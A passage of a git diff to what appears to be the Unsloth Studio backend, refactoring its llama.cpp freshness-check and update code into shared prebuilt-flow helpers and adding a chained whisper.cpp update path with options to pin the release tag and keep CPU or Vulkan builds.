+    for model in {
+        rag_config.EMBEDDING_MODEL,
+        rag_config.default_gguf_repo(),
+        rag_config.effective_embedding_model(),
+        rag_config.effective_gguf_repo(),
+    }:
+        existing_path = _existing_resolved_path(model)
+        if existing_path:
+            exact_paths.append(existing_path.lower())
+        elif _HF_REPO_ID_RE.match(model):
+            hidden_repo_ids.add(model.lower())
+        else:
+            resolved = _safe_resolve(Path(model).expanduser())
+            if resolved:
+                exact_paths.append(resolved.lower())
+    for v in values:
+        if not v:
+            continue
+        low = v.lower()
+        if _HF_REPO_ID_RE.match(v):
+            # A repo id ("owner/name"): match the hidden set exactly. It is
+            # never a filesystem path, so skip the path/filename checks.
+            if low in hidden_repo_ids:
+                return True
+            continue
+        # Anything else is treated as a filesystem path (the cached snapshot
+        # path, or a local model id). Match the probe by its exact filename and
+        # any configured local-path embedder by exact resolved path. Split on
+        # both separators so a Windows-style path ("...\\stories260K.gguf") is
+        # matched even when this runs on a POSIX interpreter (and vice versa).
+        if low.replace("\\", "/").rsplit("/", 1)[-1] == _PROBE_FILENAME:
+            return True
+        if _path_basename_is_default_embedder(v):
+            return True
+        if _path_contains_repo_id(v, hidden_repo_ids):
+            return True
+        # Custom Whisper checkpoints keep no curated repo id, so match by config.
+        if _path_is_whisper_model(v):
+            return True
+        if exact_paths:
+            resolved = _safe_resolve(Path(v).expanduser())
+            if resolved and resolved.lower() in exact_paths:
+                return True
+    return False
diff --git a/studio/backend/utils/host_policy.py b/studio/backend/utils/host_policy.py
index f506eadc03..55565bb338 100644
--- a/studio/backend/utils/host_policy.py
+++ b/studio/backend/utils/host_policy.py
@@ -1,7 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""Bind-host trust policy for the Studio backend.
+"""Bind-host trust policy for the Unsloth backend.
 
 Stdlib only -- safe to import without the rest of the backend.
 
diff --git a/studio/backend/utils/llama_cpp_freshness.py b/studio/backend/utils/llama_cpp_freshness.py
index 7d077bfa3b..a184fdb3e9 100644
--- a/studio/backend/utils/llama_cpp_freshness.py
+++ b/studio/backend/utils/llama_cpp_freshness.py
@@ -7,28 +7,28 @@ Reads UNSLOTH_PREBUILT_INFO.json (written by install_llama_prebuilt.py)
 and compares the installed release tag against the latest on GitHub.
 Surfaced via main.py:lifespan() and /api/inference/status. Fails open
 on any missing data so we never show a misleading banner.
+
+The mechanics (marker walk-up, GitHub fetch, memo + disk cache, report
+skeleton) live in utils.prebuilt.freshness_flow; this module keeps the
+llama version policy and the per-module caches its tests patch.
 """
 
 from __future__ import annotations
 
-import json
-import os
 import re
-import time
-from datetime import datetime, timezone
+from datetime import datetime
 from pathlib import Path
 from typing import Optional
 
 import structlog
 
+from utils.prebuilt import freshness_flow as _flow
+
 logger = structlog.get_logger(__name__)
 
 # 3 days matches Unsloth's typical llama.cpp release cadence.
 STALENESS_THRESHOLD_DAYS = 3
 
-# 24h TTL keeps the GitHub call off the hot path and within rate limits.
-_RELEASE_CACHE_TTL_SECONDS = 24 * 60 * 60
-
 _INSTALL_MARKER_NAME = "UNSLOTH_PREBUILT_INFO.json"
 
 _marker_cache: dict[str, Optional[dict]] = {}
@@ -49,203 +49,60 @@ def _cache_dir() -> Path:
 def read_install_marker(binary_path: Optional[str]) -> Optional[dict]:
     """Walk up from binary_path to find UNSLOTH_PREBUILT_INFO.json.
     None = no marker (source build / custom path) or invalid JSON."""
-    if not binary_path:
-        return None
-    cached = _marker_cache.get(binary_path)
-    if cached is not None or binary_path in _marker_cache:
-        return cached
-    p = Path(binary_path)
-    marker: Optional[dict] = None
-    # Cover all _find_llama_server_binary layouts (binary is 1-4 dirs deep):
-    for parent in p.parents[:5]:
-        candidate = parent / _INSTALL_MARKER_NAME
-        if candidate.is_file():
-            try:
-                marker = json.loads(candidate.read_text(encoding = "utf-8"))
-            except (OSError, json.JSONDecodeError) as exc:
-                logger.debug(
-                    "failed to parse install marker",
-                    path = str(candidate),
-                    error = str(exc),
-                )
-                marker = None
-            break
-    _marker_cache[binary_path] = marker
-    return marker
-
-
-def _cache_path_for(repo: str) -> Path:
-    safe = repo.replace("/", "__")
-    return _cache_dir() / f"{safe}.json"
+    return _flow.read_install_marker(
+        binary_path,
+        marker_name = _INSTALL_MARKER_NAME,
+        cache = _marker_cache,
+        log_message = "failed to parse install marker",
+    )
 
 
 def _load_disk_cache(repo: str) -> Optional[tuple[float, Optional[str]]]:
-    path = _cache_path_for(repo)
-    try:
-        payload = json.loads(path.read_text(encoding = "utf-8"))
-    except (OSError, json.JSONDecodeError):
-        return None
-    ts = payload.get("fetched_at")
-    tag = payload.get("latest_tag")
-    if not isinstance(ts, (int, float)):
-        return None
-    return float(ts), tag if isinstance(tag, str) else None
+    return _flow.load_disk_cache(repo, _cache_dir())
 
 
 def _save_disk_cache(repo: str, latest_tag: Optional[str]) -> None:
-    path = _cache_path_for(repo)
-    try:
-        path.parent.mkdir(parents = True, exist_ok = True)
-        tmp = path.with_suffix(".tmp")
-        tmp.write_text(
-            json.dumps({"fetched_at": time.time(), "latest_tag": latest_tag}),
-            encoding = "utf-8",
-        )
-        tmp.replace(path)
-    except OSError as exc:
-        logger.debug("freshness cache write failed", repo = repo, error = str(exc))
+    _flow.save_disk_cache(
+        repo, latest_tag, _cache_dir(), log_message = "freshness cache write failed"
+    )
 
 
 def _fetch_latest_release_tag(repo: str, timeout: float = 5.0) -> Optional[str]:
-    """Newest published release tag for `repo`, by publish time.
-
-    Resolves "latest" the way install_llama_prebuilt.py does (newest
-    non-draft/non-prerelease by ``published_at``), NOT via GitHub's
-    ``/releases/latest`` pointer. That pointer sorts by commit date and can lag
-    behind the build the installer actually installs, so detection and apply
-    disagreed -- the cause of the downgrade/sticky banner. None on any failure
-    (offline, rate-limited, etc)."""
-    import urllib.error
-    import urllib.request
-
-    url = f"https://api.github.com/repos/{repo}/releases?per_page=30"
-    headers = {
-        "Accept": "application/vnd.github+json",
-        "User-Agent": "unsloth-studio-freshness-check",
-    }
-    token = os.environ.get("GITHUB_TOKEN") or os.environ.get("GH_TOKEN")
-    if token:
-        headers["Authorization"] = f"Bearer {token}"
-    req = urllib.request.Request(url, headers = headers)
-    try:
-        with urllib.request.urlopen(req, timeout = timeout) as resp:
-            data = json.loads(resp.read().decode("utf-8"))
-    except (
-        urllib.error.URLError,
-        urllib.error.HTTPError,
-        OSError,
-        json.JSONDecodeError,
-    ) as exc:
-        logger.debug("freshness fetch failed", repo = repo, error = str(exc))
-        return None
-    if not isinstance(data, list):
-        return None
-    published = [
-        r
-        for r in data
-        if isinstance(r, dict)
-        and not r.get("draft")
-        and not r.get("prerelease")
-        and isinstance(r.get("tag_name"), str)
-        and r.get("tag_name")
-    ]
-    if not published:
-        return None
-    newest = max(published, key = lambda r: r.get("published_at") or "")
-    return newest["tag_name"]
+    """Newest published release tag for `repo`, by publish time (see
+    freshness_flow for why this is not GitHub's /releases/latest pointer)."""
+    return _flow.fetch_latest_release_tag(repo, timeout, log_message = "freshness fetch failed")
 
 
 def latest_published_release(repo: str, *, force_refresh: bool = False) -> Optional[str]:
     """Latest release tag for `repo`. Memo + disk-cached (24h TTL).
     None when offline and never previously cached."""
-    if not repo:
-        return None
-    now = time.time()
-    if not force_refresh:
-        memo = _release_memo.get(repo)
-        if memo and now - memo[0] < _RELEASE_CACHE_TTL_SECONDS:
-            return memo[1]
-        disk = _load_disk_cache(repo)
-        if disk and now - disk[0] < _RELEASE_CACHE_TTL_SECONDS:
-            _release_memo[repo] = disk
-            return disk[1]
-    latest = _fetch_latest_release_tag(repo)
-    if latest is None:
-        # Keep last-good disk value rather than poisoning with None.
-        disk = _load_disk_cache(repo)
-        if disk:
-            _release_memo[repo] = disk
-            return disk[1]
-        return None
-    _release_memo[repo] = (now, latest)
-    _save_disk_cache(repo, latest)
-    return latest
+    return _flow.latest_published_release(
+        repo,
+        force_refresh = force_refresh,
+        memo = _release_memo,
+        cache_dir = lambda: _cache_dir(),
+        fetch = lambda r: _fetch_latest_release_tag(r),
+        save = lambda r, tag: _save_disk_cache(r, tag),
+    )
 
 
 def _fetch_latest_release_assets(repo: str, timeout: float = 5.0) -> Optional[dict[str, int]]:
     """Asset name -> size (bytes) for the newest published release of `repo`,
     selected exactly like _fetch_latest_release_tag. None on any failure."""
-    import urllib.error
-    import urllib.request
-
-    url = f"https://api.github.com/repos/{repo}/releases?per_page=30"
-    headers = {
-        "Accept": "application/vnd.github+json",
-        "User-Agent": "unsloth-studio-freshness-check",
-    }
-    token = os.environ.get("GITHUB_TOKEN") or os.environ.get("GH_TOKEN")
-    if token:
-        headers["Authorization"] = f"Bearer {token}"
-    req = urllib.request.Request(url, headers = headers)
-    try:
-        with urllib.request.urlopen(req, timeout = timeout) as resp:
-            data = json.loads(resp.read().decode("utf-8"))
-    except (
-        urllib.error.URLError,
-        urllib.error.HTTPError,
-        OSError,
-        json.JSONDecodeError,
-    ) as exc:
-        logger.debug("freshness asset fetch failed", repo = repo, error = str(exc))
-        return None
-    if not isinstance(data, list):
-        return None
-    published = [
-        r
-        for r in data
-        if isinstance(r, dict)
-        and not r.get("draft")
-        and not r.get("prerelease")
-        and isinstance(r.get("tag_name"), str)
-        and r.get("tag_name")
-    ]
-    if not published:
-        return None
-    newest = max(published, key = lambda r: r.get("published_at") or "")
-    assets: dict[str, int] = {}
-    for a in newest.get("assets") or []:
-        name, size = a.get("name"), a.get("size")
-        if isinstance(name, str) and isinstance(size, int):
-            assets[name] = size
-    return assets
+    return _flow.fetch_latest_release_assets(
+        repo, timeout, log_message = "freshness asset fetch failed"
+    )
 
 
 def latest_release_assets(repo: str, *, force_refresh: bool = False) -> Optional[dict[str, int]]:
     """Newest-release asset sizes for `repo`, memoized (24h TTL). None when
     offline and never fetched. In-memory only -- a restart simply re-fetches."""
-    if not repo:
-        return None
-    now = time.time()
-    if not force_refresh:
-        memo = _assets_memo.get(repo)
-        if memo and now - memo[0] < _RELEASE_CACHE_TTL_SECONDS:
-            return memo[1]
-    assets = _fetch_latest_release_assets(repo)
-    if assets is None:
-        memo = _assets_memo.get(repo)
-        return memo[1] if memo else None
-    _assets_memo[repo] = (now, assets)
-    return assets
+    return _flow.latest_release_assets(
+        repo,
+        force_refresh = force_refresh,
+        memo = _assets_memo,
+        fetch = lambda r: _fetch_latest_release_assets(r),
+    )
 
 
 def update_download_size_bytes(
@@ -290,16 +147,7 @@ def update_download_size_bytes(
 
 
 def _parse_installed_at(value: object) -> Optional[datetime]:
-    if not isinstance(value, str) or not value:
-        return None
-    s = value.replace("Z", "+00:00") if value.endswith("Z") else value
-    try:
-        dt = datetime.fromisoformat(s)
-    except ValueError:
-        return None
-    if dt.tzinfo is None:
-        dt = dt.replace(tzinfo = timezone.utc)
-    return dt
+    return _flow.parse_installed_at(value)
 
 
 def parse_base_build(tag: object) -> Optional[int]:
@@ -350,64 +198,27 @@ def check_prebuilt_freshness(
     behind = installed genuinely older than latest (see is_behind).
     stale = behind AND age >= threshold.
     Fails open on missing data (behind/stale stay False)."""
-    out: dict = {
-        "has_marker": False,
-        "stale": False,
-        "behind": False,
-        "installed_tag": None,
-        "latest_tag": None,
-        "installed_at_utc": None,
-        "age_days": None,
-        "published_repo": None,
-        "threshold_days": int(threshold_days),
-    }
-    marker = read_install_marker(binary_path)
-    if not marker:
-        return out
-    out["has_marker"] = True
-    # Display prefers the normalized base ("tag"); comparison below prefers the
-    # full "release_tag" -- deliberately opposite fallbacks.
-    out["installed_tag"] = marker.get("tag") or marker.get("release_tag")
-    out["installed_at_utc"] = marker.get("installed_at_utc")
-    out["published_repo"] = marker.get("published_repo")
-
     # The marker records both a normalized base tag ("tag", e.g. b9596) and the
-    # full release tag ("release_tag", e.g. b9596-mix-<sha>). Compare against the
-    # FULL identity, since GitHub /releases/latest returns the full tag_name --
-    # comparing the normalized base against the full latest is what produced the
-    # permanent "downgrade" banner on every mix release.
-    installed_full = marker.get("release_tag") or marker.get("tag")
-    repo = out["published_repo"]
-    if not repo or not installed_full:
-        return out
-    latest = latest_published_release(repo)
-    out["latest_tag"] = latest
-    out["behind"] = is_behind(installed_full, latest)
-    if not out["behind"]:
-        return out
-
-    installed_at = _parse_installed_at(out["installed_at_utc"])
-    if installed_at is None:
-        return out
-    now = now or datetime.now(tz = timezone.utc)
-    age_seconds = (now - installed_at).total_seconds()
-    out["age_days"] = max(0, int(age_seconds // 86400))
-    if age_seconds >= threshold_days * 86400:
-        out["stale"] = True
-    return out
+    # full release tag ("release_tag", e.g. b9596-mix-<sha>). Display prefers the
+    # normalized base; comparison uses the FULL identity, since GitHub
+    # /releases/latest returns the full tag_name -- comparing the normalized base
+    # against the full latest is what produced the permanent "downgrade" banner
+    # on every mix release. Deliberately opposite fallbacks.
+    return _flow.check_freshness(
+        binary_path,
+        threshold_days = threshold_days,
+        now = now,
+        read_marker = lambda p: read_install_marker(p),
+        latest_release = lambda repo: latest_published_release(repo),
+        behind = lambda installed, latest: is_behind(installed, latest),
+        display_tag = lambda marker: marker.get("tag") or marker.get("release_tag"),
+        compare_tag = lambda marker: marker.get("release_tag") or marker.get("tag"),
+    )
 
 
 def format_stale_warning(info: dict) -> str:
     """Human-readable one-liner for stale prebuilt info."""
-    age = info.get("age_days")
-    installed = info.get("installed_tag") or "unknown"
-    latest = info.get("latest_tag") or "unknown"
-    age_str = f"{age} day{'s' if age != 1 else ''}" if age is not None else "some time"
-    return (
-        f"llama.cpp prebuilt is {age_str} behind: installed "
-        f"{installed}, latest {latest}. Run `unsloth studio update` "
-        f"to refresh."
-    )
+    return _flow.format_stale_warning(info, component = "llama.cpp")
 
 
 def reset_caches(*, drop_disk: bool = False) -> None:
@@ -420,13 +231,8 @@ def reset_caches(*, drop_disk: bool = False) -> None:
     (see its last-good fallback) and the banner could linger. Dropping the disk
     cache makes latest read as None in that offline case, so the banner fails
     open (off) instead of pointing at the just-replaced build."""
-    _marker_cache.clear()
-    _release_memo.clear()
-    _assets_memo.clear()
-    if drop_disk:
-        import shutil
-
-        # _cache_dir() is a dedicated freshness-only subdir; it is re-created on
-        # the next _save_disk_cache. ignore_errors so a missing/locked dir is a
-        # no-op rather than breaking an otherwise successful install.
-        shutil.rmtree(_cache_dir(), ignore_errors = True)
+    _flow.reset_caches(
+        (_marker_cache, _release_memo, _assets_memo),
+        drop_disk = drop_disk,
+        cache_dir = lambda: _cache_dir(),
+    )
diff --git a/studio/backend/utils/llama_cpp_update.py b/studio/backend/utils/llama_cpp_update.py
index c16ae91467..174e6ef4dc 100644
--- a/studio/backend/utils/llama_cpp_update.py
+++ b/studio/backend/utils/llama_cpp_update.py
@@ -17,17 +17,22 @@ Design notes:
   thread; callers poll get_update_status() for the job state.
 - Everything fails open: a missing marker / offline GitHub / source build just
   reports update_available=False and never blocks the app.
+- The mechanics (managed-root resolution, local-link detection, the resolve
+  probe, the streamed installer run) live in utils.prebuilt.update_flow; this
+  module keeps the llama policy and the job dict its callers poll.
+- This is the single main update item: whisper.cpp piggybacks on it. Status
+  folds in a whisper sub-status (update_available becomes the union) and apply
+  chains a whisper phase after the llama phase when whisper is behind (see
+  update_flow.run_chained_update and whisper_cpp_update.chained_phase_plan).
 """
 
 from __future__ import annotations
 
-import json
 import os
 import re
 import subprocess
 import sys
 import threading
-import time
 from pathlib import Path
 from typing import Optional
 
@@ -43,7 +48,7 @@ from utils.llama_cpp_freshness import (
     reset_caches,
     update_download_size_bytes,
 )
-from utils.process_lifetime import child_popen_kwargs
+from utils.prebuilt import update_flow as _flow
 
 logger = structlog.get_logger(__name__)
 
@@ -51,38 +56,23 @@ DEFAULT_PUBLISHED_REPO = "unslothai/llama.cpp"
 _INSTALL_TIMEOUT_SECONDS = 1800  # 30 min ceiling for download + build/validate
 
 # Background job state. Single in-flight update at a time, guarded by _job_lock.
-_JOB_IDLE = "idle"
-_JOB_RUNNING = "running"
-_JOB_SUCCESS = "success"
-_JOB_ERROR = "error"
+_JOB_IDLE = _flow.JOB_IDLE
+_JOB_RUNNING = _flow.JOB_RUNNING
+_JOB_SUCCESS = _flow.JOB_SUCCESS
+_JOB_ERROR = _flow.JOB_ERROR
 
 _job_lock = threading.Lock()
-_job: dict = {
-    "state": _JOB_IDLE,
-    "message": "",
-    "from_tag": None,
-    "to_tag": None,
-    "reload_required": None,
-    "error": None,
-    "progress": None,
-    "started_at": None,
-    "finished_at": None,
-}
+_job: dict = _flow.new_job()
 
-# Matches the installer's download progress lines, e.g.
-# "Downloading x.zip:  35.0% (12.3 MiB/35.1 MiB) at 8.2 MiB/s".
-_PROGRESS_LINE_RE = re.compile(r"(\d+(?:\.\d+)?)%\s*\(")
-# The download dominates the update; extract/validate fill the last slice.
-_DOWNLOAD_PROGRESS_CEILING = 0.95
-
-
-def _utcnow() -> str:
-    return time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime())
+_utcnow = _flow.utcnow
+_is_under = _flow.is_under
+_is_external_link = _flow.is_external_link
+_rocm_install_args = _flow.rocm_install_args
 
 
 def _find_binary() -> Optional[str]:
     """Locate the active llama-server binary via the inference backend's own
-    resolver, so update targets exactly what Studio runs. Lazy import keeps the
+    resolver, so update targets exactly what Unsloth runs. Lazy import keeps the
     heavy inference module off this module's import path."""
     try:
         from core.inference.llama_cpp import LlamaCppBackend
@@ -94,37 +84,19 @@ def _find_binary() -> Optional[str]:
 
 def _install_dir_for(binary_path: Optional[str]) -> Optional[Path]:
     """The directory holding UNSLOTH_PREBUILT_INFO.json -- i.e. the install root
-    install_llama_prebuilt.py wrote and the one we re-install into. Walks up from
-    the binary the same way read_install_marker() does."""
-    if not binary_path:
-        return None
-    p = Path(binary_path)
-    for parent in p.parents[:5]:
-        if (parent / _INSTALL_MARKER_NAME).is_file():
-            return parent
-    return None
+    install_llama_prebuilt.py wrote and the one we re-install into."""
+    return _flow.install_dir_for(binary_path, marker_name = _INSTALL_MARKER_NAME)
 
 
 def _installer_script() -> Optional[Path]:
-    """Locate install_llama_prebuilt.py. Honours UNSLOTH_LLAMA_INSTALLER, then
-    searches up from this file for both ``<root>/install_llama_prebuilt.py`` and
-    ``<root>/studio/install_llama_prebuilt.py`` so it works in the dev tree and
-    in an installed Studio layout."""
-    env = os.environ.get("UNSLOTH_LLAMA_INSTALLER")
-    if env and Path(env).is_file():
-        return Path(env)
-    here = Path(__file__).resolve()
-    for up in here.parents:
-        for cand in (up / "install_llama_prebuilt.py", up / "studio" / "install_llama_prebuilt.py"):
-            if cand.is_file():
-                return cand
-    return None
+    """Locate install_llama_prebuilt.py (UNSLOTH_LLAMA_INSTALLER wins)."""
+    return _flow.find_installer_script(
+        env_var = "UNSLOTH_LLAMA_INSTALLER", script_name = "install_llama_prebuilt.py"
+    )
 
 
 # Markerless (source-build) installs have no UNSLOTH_PREBUILT_INFO.json, so we
-# ask the installer whether an official prebuilt now exists for this host. Memo
-# is 24h; only successful answers are cached so a network blip retries.
-_RESOLVE_TTL_SECONDS = 24 * 60 * 60
+# ask the installer whether an official prebuilt now exists for this host.
 _resolve_memo: dict = {}
 
 
@@ -132,39 +104,12 @@ def _resolve_prebuilt_for_host(*, force_refresh: bool = False) -> Optional[dict]
     """Run install_llama_prebuilt.py --resolve-prebuilt (no download) and return
     {prebuilt_available, repo, release_tag, llama_tag, asset, install_kind} or
     None. Fail-open: any error -> None so a source build never blocks the app."""
-    now = time.time()
-    if not force_refresh and _resolve_memo:
-        if now - _resolve_memo.get("at", 0.0) < _RESOLVE_TTL_SECONDS:
-            return _resolve_memo.get("value")
-    script = _installer_script()
-    if script is None:
-        return None
-    value: Optional[dict] = None
-    try:
-        proc = subprocess.run(
-            [
-                sys.executable,
-                str(script),
-                "--resolve-prebuilt",
-                "latest",
-                "--output-format",
-                "json",
-            ],
-            capture_output = True,
-            text = True,
-            timeout = 60,
-        )
-        out = (proc.stdout or "").strip()
-        if proc.returncode == 0 and out:
-            parsed = json.loads(out.splitlines()[-1])
-            if isinstance(parsed, dict):
-                value = parsed
-    except Exception as exc:  # pragma: no cover - subprocess/json defensive
-        logger.debug("llama update: resolve-prebuilt failed", error = str(exc))
-        value = None
-    if value is not None:  # cache real answers; let failures retry next poll
-        _resolve_memo.update(at = now, value = value)
-    return value
+    return _flow.resolve_prebuilt_for_host(
+        force_refresh = force_refresh,
+        memo = _resolve_memo,
+        installer_script = lambda: _installer_script(),
+        log_message = "llama update: resolve-prebuilt failed",
+    )
 
 
 def _installed_build_number(binary: Optional[str]) -> Optional[int]:
@@ -218,38 +163,16 @@ def get_installed_llama_version() -> Optional[str]:
     return f"b{n}" if n is not None else None
 
 
-def _is_under(path: Path, root: Path) -> bool:
-    try:
-        p, r = path.resolve(), root.resolve()
-    except (OSError, ValueError):
-        p, r = path, root
-    return p == r or r in p.parents
-
-
 def _llama_install_root(binary: Optional[str]) -> Optional[Path]:
-    """The Studio-managed llama.cpp root the active binary lives under, or None
-    when the binary is unmanaged. Installing anywhere the active binary is not
-    would not replace what _find_llama_server_binary runs (which prefers a pinned
-    LLAMA_SERVER_PATH, then UNSLOTH_LLAMA_CPP_PATH, then a llama.cpp tree), so we
-    refuse rather than silently install into an inactive or foreign tree."""
-    marked = _install_dir_for(binary)
-    if marked is not None:
-        return marked
-    if not binary:
-        return None
-    # LLAMA_SERVER_PATH is an explicit user pin that always wins in discovery;
-    # never auto-replace its tree (even a user's own llama.cpp checkout).
-    if os.environ.get("LLAMA_SERVER_PATH"):
-        return None
-    p = Path(binary)
-    env = os.environ.get("UNSLOTH_LLAMA_CPP_PATH")
-    if env and _is_under(p, Path(env)):
-        return Path(env)
-    for parent in p.parents:
-        if parent.name == "llama.cpp":
-            return parent
-    # PATH / system / custom install: not a managed tree, so do not offer.
-    return None
+    """The Unsloth-managed llama.cpp root the active binary lives under, or None
+    when the binary is unmanaged (see update_flow.managed_install_root)."""
+    return _flow.managed_install_root(
+        binary,
+        marker_root = _install_dir_for(binary),
+        server_path_var = "LLAMA_SERVER_PATH",
+        cpp_path_var = "UNSLOTH_LLAMA_CPP_PATH",
+        dir_name = "llama.cpp",
+    )
 
 
 def _source_build_status(binary: str, *, force_refresh: bool) -> Optional[dict]:
@@ -324,69 +247,83 @@ def _source_build_status(binary: str, *, force_refresh: bool) -> Optional[dict]:
     }
 
 
-def _is_external_link(path: Optional[Path]) -> bool:
-    """True when ``path`` is a --with-llama-cpp-dir local link: a POSIX symlink
-    or a Windows directory junction / reparse point. Such a link resolves into
-    the user's own llama.cpp checkout, so Studio must never auto-update it."""
-    if path is None:
-        return False
-    try:
-        if os.path.islink(path):
-            return True
-    except OSError:
-        return False
-    if os.name == "nt":
-        try:
-            import stat
-            attrs = os.lstat(path).st_file_attributes  # type: ignore[attr-defined]
-            return bool(attrs & stat.FILE_ATTRIBUTE_REPARSE_POINT)
-        except (OSError, AttributeError):
-            return False
-    return False
-
-
 def _active_install_is_local_link(binary: Optional[str]) -> bool:
     """True when the active llama-server resolves through a --with-llama-cpp-dir
-    local link at the canonical llama.cpp directory. An update would write
-    through that link into the user's own checkout (or fail), so the install is
-    treated as externally managed: no update is offered or applied. Checks only
-    up to and including the ``llama.cpp`` dir so a symlinked HOME / studio root
-    above it can't trip a false positive."""
-    if not binary:
-        return False
-    for parent in Path(binary).parents:
-        if _is_external_link(parent):
-            return True
-        if parent.name == "llama.cpp":
-            break
-    return False
+    local link at the canonical llama.cpp directory (see
+    update_flow.active_install_is_local_link)."""
+    return _flow.active_install_is_local_link(binary, dir_name = "llama.cpp")
 
 
 def _local_link_status() -> dict:
     """Status payload for a local-link install: unmanaged, no update offered."""
-    with _job_lock:
-        job = dict(_job)
-    return {
-        "supported": False,
-        "update_available": False,
-        "stale": False,
-        "installed_tag": None,
-        "latest_tag": None,
-        "published_repo": None,
-        "installed_at_utc": None,
-        "age_days": None,
-        "source_build": False,
-        "local_link": True,
-        "update_size_bytes": None,
-        "job": job,
+    return _flow.local_link_status(_job, _job_lock)
+
+
+def _whisper_chain_status(
+    *, force_refresh: bool = False, paired_llama_will_update: bool = False
+) -> Optional[dict]:
+    """Whisper's piggyback plan for the combined update item (see
+    whisper_cpp_update.chained_phase_plan). None disables the piggyback --
+    fail-open so whisper can never break the llama status or apply."""
+    try:
+        from utils import whisper_cpp_update
+        return whisper_cpp_update.chained_phase_plan(
+            force_refresh = force_refresh,
+            paired_llama_will_update = paired_llama_will_update,
+        )
+    except Exception as exc:  # pragma: no cover - defensive
+        logger.debug("llama update: whisper piggyback probe failed", error = str(exc))
+        return None
+
+
+def _merge_whisper_status(status: dict, *, force_refresh: bool = False) -> dict:
+    """Fold the whisper sub-status into the llama status payload: the llama
+    update item is the single UI surface, so update_available becomes the union
+    (llama behind OR whisper behind) while llama_update_available keeps the
+    llama-only flag. All pre-existing top-level fields are preserved."""
+    status["llama_update_available"] = bool(status.get("update_available"))
+    plan = _whisper_chain_status(
+        force_refresh = force_refresh,
+        paired_llama_will_update = status["llama_update_available"],
+    )
+    if plan is None:
+        status["whisper"] = None
+        status["update_component"] = "llama" if status["llama_update_available"] else None
+        return status
+    sub = plan.get("status") or {}
+    status["whisper"] = {
+        "update_available": bool(plan.get("update_available")),
+        "installed_tag": sub.get("installed_tag"),
+        "latest_tag": sub.get("latest_tag"),
+        "update_size_bytes": sub.get("update_size_bytes"),
+        "skip_reason": plan.get("skip_reason"),
     }
+    whisper_update_available = bool(plan.get("update_available"))
+    if whisper_update_available:
+        status["update_available"] = True
+    status["update_component"] = (
+        "llama"
+        if status["llama_update_available"]
+        else "whisper"
+        if whisper_update_available
+        else None
+    )
+    return status
 
 
 def get_update_status(*, force_refresh: bool = False) -> dict:
-    """Report whether a newer prebuilt exists plus the current job state.
+    """Report whether an update is available plus the current job state.
 
-    force_refresh bypasses the 24h release cache for an explicit "check now".
+    This is the single main update item: llama.cpp drives it and the whisper
+    piggyback is folded in (see _merge_whisper_status). force_refresh bypasses
+    the 24h release cache for an explicit "check now".
     """
+    status = _llama_only_status(force_refresh = force_refresh)
+    return _merge_whisper_status(status, force_refresh = force_refresh)
+
+
+def _llama_only_status(*, force_refresh: bool = False) -> dict:
+    """The llama.cpp half of get_update_status (no whisper sub-status)."""
     binary = _find_binary()
     # A --with-llama-cpp-dir local link is the user's own tree; never offer to
     # replace it. Bail before any network/freshness work.
@@ -456,26 +393,22 @@ def get_update_status(*, force_refresh: bool = False) -> dict:
     }
 
 
-def _rocm_install_args(asset: Optional[str]) -> list[str]:
-    """Forward --rocm-gfx/--has-rocm from the marker asset, mirroring setup.sh.
-    The installer probe can miss the gfx arch on amd-smi-only hosts; per-gfx
-    ROCm bundles carry the family in the name (rocm-gfx110X), version-tagged
-    bundles only rocm/hip."""
-    if not asset:
-        return []
-    low = asset.lower()
-    if "rocm" not in low and "hip" not in low:
-        return []
-    gfx = re.search(r"-gfx[0-9a-z]+", low)
-    if gfx:
-        # _normalize_forwarded_gfx accepts the family form (gfx110x -> gfx110X).
-        return ["--rocm-gfx", gfx.group(0).lstrip("-")]
-    return ["--has-rocm"]
+def _run_llama_phase(
+    install_dir: Path,
+    repo: str,
+    asset: Optional[str],
+    script: Path,
+    pin_release_tag: Optional[str],
+    set_progress,
+    force_cpu: bool = False,
+) -> dict:
+    """The llama phase of a chained update: put the backend into a maintenance
+    state, run the installer for the latest prebuilt, then refresh caches so the
+    next load uses the new build. Returns {to_tag, reload_required, message};
+    raises on failure.
 
-
-def _run_update(install_dir: Path, repo: str, asset: Optional[str], script: Path) -> None:
-    """Worker: put the backend into a maintenance state, run the installer for
-    the latest prebuilt, then refresh caches so the next load uses the new build."""
+    pin_release_tag pins the installer to that exact published release instead
+    of letting it re-resolve "latest" itself (see start_update for why)."""
     backend = None
     model_was_active = False
     try:
@@ -510,48 +443,29 @@ def _run_update(install_dir: Path, repo: str, asset: Optional[str], script: Path
             "--published-repo",
             repo,
         ]
+        if pin_release_tag:
+            cmd.extend(["--published-release-tag", pin_release_tag])
         cmd.extend(_rocm_install_args(asset))
+        # Re-assert a deliberate CPU install (--force-cpu) so detect_host on a GPU host
+        # does not re-route to a GPU/Vulkan bundle and revive the crash (#7213). --force-cpu
+        # (not --cpu-fallback) also re-persists force_cpu, keeping the choice across future
+        # updates. A natural fallback (or a legacy marker without the flag) heals to GPU (#6097).
+        if force_cpu:
+            cmd.append("--force-cpu")
         logger.info("llama update: installing", cmd = " ".join(cmd))
-        # Stream progress lines into job["progress"].
         env = dict(os.environ, UNSLOTH_PROGRESS_PERCENT_STEP = "5")
-        proc = subprocess.Popen(
+        # Preserve a Vulkan install across updates: detect_host on a CUDA/ROCm
+        # box would otherwise re-route and silently replace the Vulkan build.
+        # Re-assert it via the same env flag setup uses (mirrors
+        # _rocm_install_args).
+        if asset and "vulkan" in asset.lower():
+            env["UNSLOTH_FORCE_VULKAN"] = "1"
+        _flow.stream_installer(
             cmd,
-            stdout = subprocess.PIPE,
-            stderr = subprocess.STDOUT,
-            text = True,
-            env = env,
-            **child_popen_kwargs(),
+            env,
+            set_progress = set_progress,
+            timeout_seconds = _INSTALL_TIMEOUT_SECONDS,
         )
-        timed_out = threading.Event()
-
-        def _kill_on_timeout() -> None:
-            timed_out.set()
-            proc.kill()
-
-        watchdog = threading.Timer(_INSTALL_TIMEOUT_SECONDS, _kill_on_timeout)
-        watchdog.daemon = True
-        watchdog.start()
-        tail_lines: list[str] = []
-        try:
-            assert proc.stdout is not None
-            for line in proc.stdout:
-                tail_lines.append(line)
-                if len(tail_lines) > 80:
-                    del tail_lines[0]
-                m = _PROGRESS_LINE_RE.search(line)
-                if m is None:
-                    continue
-                fraction = min(float(m.group(1)) / 100.0, 1.0) * _DOWNLOAD_PROGRESS_CEILING
-                with _job_lock:
